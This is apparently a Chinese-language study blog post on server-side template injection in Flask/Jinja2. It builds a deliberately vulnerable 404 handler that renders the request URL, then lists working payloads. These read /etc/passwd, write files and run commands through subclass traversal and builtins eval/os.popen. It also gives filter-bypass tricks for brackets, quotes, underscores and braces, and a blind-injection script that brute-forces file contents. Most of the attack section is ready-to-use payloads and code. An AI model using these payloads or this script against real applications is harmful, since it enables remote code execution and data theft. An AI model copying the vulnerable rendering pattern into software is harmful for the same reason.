以前做题学过一些ssti,但是感觉不够深入,整理一下,算个总结吧
漏洞介绍
ssti,服务器端模板注入,主要是python或者其他语言在渲染模板的时候,由于代码不规范或者信任了用户的输入,使得模板可控。简单来说就是,模板里面有些用户输入的东西,但是程序员在渲染模板的时候,没有检查用户输入的东西是不是都是善意的,于是就被用户拿下了这个模板做坏事了。
举个栗子
我们现在有这样一个模板,emmm,顺便说一句,模板其实就是一个html而已1
2
3<html>
<div>{$name}</div>
</html>
在这个模板上有一个name参数,用来存放用户的名字,因为每次打开页面我们都不确定是哪个用户打开。现在问题来了,如果这个参数是用户可控的,那么用户就有可能会在里面放一些恶意的代码,然后就有可能执行任意命令,这就是简单的ssti。
动手实践
flask的搭建
在学漏洞之前先学一下怎么搭建flask的,毕竟python web和php web还是有挺多区别的,phper枯了
我们现在pycharm里面点击左上角的file,然后是new project,选flask,template language选jinja2,然后create就行
这个时候我们可以看到新建出来的文件是这样的
运行一下app.py会看到下面图片显示的东西,此时浏览器访问一下http://127.0.0.1:5000 就会看到有hello world显示出来
模板渲染
1 | |__app.py |
模板是一个包含响应文本的文件,其中包含用占位变量表示的动态部分,其具体值只在请求的上下文中才能知道,使用真实值替换变量,再返回最终得到的响应字符串,这一过程成为渲染。简单来说,就是一个函数调用了某一个模板,那个模板展示出来,就是渲染。
模板可以用render_template_string()方式去渲染,这个函数会将放在templates里面的对应的模板渲染出来
ssti模板注入
解析
好了,前面介绍了那么多,是时候来一题具体的实操了
下面给出一份存在漏洞的代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from flask import Flask
from flask import request
from flask import render_template_string
app = Flask(__name__)
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
可以看到,在这个代码里面,有个test函数,他会在页面找不到的时候,先输出that page doesn’t exist,然后再将用户请求的url渲染出来,因为对用户的url进行了二次渲染,所以,如果我们在url里面加入了恶意代码,他也是能渲染出来的
攻击
知道了漏洞是怎样形成的,剩下的就是利用了
在python中,object类是所有类的基类,如果定义一个类的时候没有指定是继承哪一个类的话,那它默认继承的是object类。我们在进行攻击的时候,虽然当前的类可能不能让我们进行很好的攻击,但是我们可以通过寻找其父类的其他子类,最后达到攻击的目的。
我们先用pycharm来进行一下子类的寻找1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41#获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')
#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()
一些绕waf的姿势
过滤[
1 | #getitem、pop |
过滤引号
1 | #chr函数 |
过滤下划线
1 | {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__ |
过滤花括号
1 | #用{%%}标记 |
如果不能执行命令就用盲注的方式爆出来,脚本如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}
# -*- coding: utf-8 -*-
import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password
参考
https://0day.work/jinja2-template-injection-filter-bypasses/
https://juejin.im/entry/5a91040ef265da4e9268410e